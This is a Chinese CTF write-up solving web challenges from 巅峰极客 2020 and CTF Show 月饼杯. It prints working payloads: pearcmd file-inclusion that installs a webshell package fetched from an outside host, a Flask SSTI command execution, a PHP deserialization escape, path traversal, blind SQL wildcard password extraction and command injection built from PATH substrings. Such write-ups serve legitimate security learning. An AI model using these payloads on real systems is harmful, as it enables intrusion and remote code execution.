是好玩的比赛的 WriteUp!

巅峰极客 2020

MeowWorld

首先看 hint register_argc_argv ,打开环境之后发现在 index.php 有一个简单的文件包含。用 PHP 伪协议读取一圈文件,发现如下内容。

1
2
3
4
<?php 
$f = $_GET['f'] ?? "home";
include("{$f}.php");
?>

根据 hint 可知,argcargv 两个参数可以指定,参考 这篇文章 可以知道接下来需要做什么。既然要用 pearcmd,当然是首先读一手源码,于是利用上面的构造读取出 pearcmd 的源码,找到关键部分如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/**
* Safely read the $argv PHP array across different PHP configurations.
* Will take care on register_globals and register_argc_argv ini directives
*
* @return mixed the $argv PHP array or PEAR error if not registered
*/
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}

}

可以发现 argv 会被当成参数返回,于是构造 ?f=pearcmd&argv=2+list,得到回显如下,于是按照文章上的指引,准备一个包。

首先下载 这个包,然后在 Archive_Tar-1.4.0/Archive 下增加一个一句话木马的 PHP 文件 zit.php。然后将 ./package.xml 文件中的 <content> 节点对应修改如下。

1
2
3
4
5
6
7
<contents>
<dir name="/">
<file baseinstalldir="/" md5sum="89b230679f31da6f8dbdea25095f4ca9" name="Archive/Tar.php" role="php" />
<file baseinstalldir="/" md5sum="7cc168393304c0c9c0de96d5e5e318e0" name="Archive/zit.php" role="doc" />
<file baseinstalldir="/" md5sum="2fb90f0be7089a45c09a0d1182792419" name="docs/Archive_Tar.txt" role="doc" />
</dir>
</contents>

将整个包按原格式压缩还原为 tar.gz,然后上传至服务器获取支链 https://v2.api.lemonprefect.cn/static/zips/zit.tar.gz。接下来构造 ?f=pearcmd&argv=list+install+--installroot+/tmp/+https://v2.api.lemonprefect.cn/static/zips/zit.tar.gz,得到包安装成功的回显 install ok: channel://pear.php.net/Archive_Tar-1.4.0

此时只需要找到 zit.php 的路由即可,随便输入一个之后看到报错中的关键信息 include_path='.:/usr/local/lib/php',于是拼合包的路径之后访问 /tmp/usr/local/lib/php/doc/Archive_Tar/Archive/zit 拿到 shell 的路由。使用蚁剑连接上去,可以看到 /readflag

执行 /readflag 时发现需要计算算术题,但是默认的虚拟终端没有交互,于是使用 perl 脚本完成这一步。在 /tmp/tmp 目录下写入脚本并执行即可得 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
use strict;
use IPC::Open3;

my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' )
or die "open3() failed $!";

my $r;
$r = <CHLD_OUT>;
print "$r";

$r = substr($r,0,11);
$r = eval "$r";

print "$r\n";
print CHLD_IN "$r\n";
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";

perl 脚本执行得到 flag

babyflask

看界面,老 Whoami 了。直接看请求,发现是 SSTI,一套标准拳打出,拿到 flag。

1
.../loged?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}

回显 flag

CTF Show 月饼杯

此夜圆

1
return str_replace('Firebasky', 'Firebaskyup', $string);

此处造成了简单的反序列化逃逸,Firebasky 被替换成 Firebaskyup,字符多出两个。需要构造的反序列化字符串可以写成这样。

1
O:1:"a":2:{s:5:"uname";s:(这里是长度):"(这里是用户名)";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}

总共填充了 30 个字符 ";s:8:"password";s:5:"yu22x";},因此需要 15 次替换才能将这 30 个字符变成后面的反序列化内容。
于是构造出这样的 payload.

1
?1=FirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyup";s:8:"password";s:5:"yu22x";}

故人心

level 1
使用科学计数法表达一个极小的小数,采用 1e-199
level 2
访问 .../robots.txt 可以发现 hinthint.txt 进而找到如下提示。

1
2
3
4
5
Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452 hash("md2",$b)
xxxxxx48399 hash("md2",hash("md2",$b))

于是写个脚本跑一下 bc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
for($i = 0;$i <= 999;$i++){
$b = sprintf("0e%03d",$i) . "024452";
if($b == hash("md2",$b)){
echo "b = " . $b . "\n";
break;
}
}
for($i = 0; $i <= 9999;$i++){
$c = sprintf("0e%04d",$i) . "48399";
if($c == hash("md2",hash("md2",$c))){
echo "c = " . $c . "\n";
break;
}
}

得到 b = 0e652024452,c = 0e603448399
level 3

php 会把无法解析的协议当成目录

因此,结合目录穿越就能读到 flag。

1
lemon://ctfshow.com/../../../../../../../../../../../../../fl0g.txt

莫负婵娟

首先看一手页面源码,得到这样的 hint,用户名是 yu22x

1
2
3
<!--注意:正式上线请删除注释内容! -->
<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->

结合题目描述的 hint 环境变量 +linux字符串截取 + 通配符,尝试一波 SQL 的通配符。

快看!是通配符呐呐呐

依照上图的结果构造一波 payload 发现当 password 参数为 6_______________________________ 时回显是不一样的,于是写个脚本跑出密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
const ASCII_START = 32;
const ASCII_END = 127;
$result = "6";
for($i = 0; $i < 31;$i++){
$p = sprintf("%0" . (30 - $i) . "d",0);
if($i == 30){
$p = "";
}
$p = str_replace("0","_",$p);

for($j = ASCII_START;$j <= ASCII_END;$j++){
if($j == 95){
continue; //no "_" to be matched
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, '.../login.php');
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
$postData = array("password" => $result . chr($j) . $p, "username" => "yu22x");
$postData = http_build_query($postData);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
$outcontent = curl_exec($ch);
$httpCode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
curl_close($ch);
printf("Now j is %d,string is %s\n",$j,$result . chr($j) . $p);
if(strpos($outcontent,"I have filtered all the characters. Why can you come in? get out!") || $httpCode == 302){
$result .= chr($j);
echo $result;
break;
}
}
}

可以得到密码为 67815b0c009ee970fe4014abaa3Fa6A0

New Section
使用环境变量截取出 nl ????.??? 的指令读取 flag.php

1.1.1.1;${PATH:14:1}${PATH:5:1} ????.???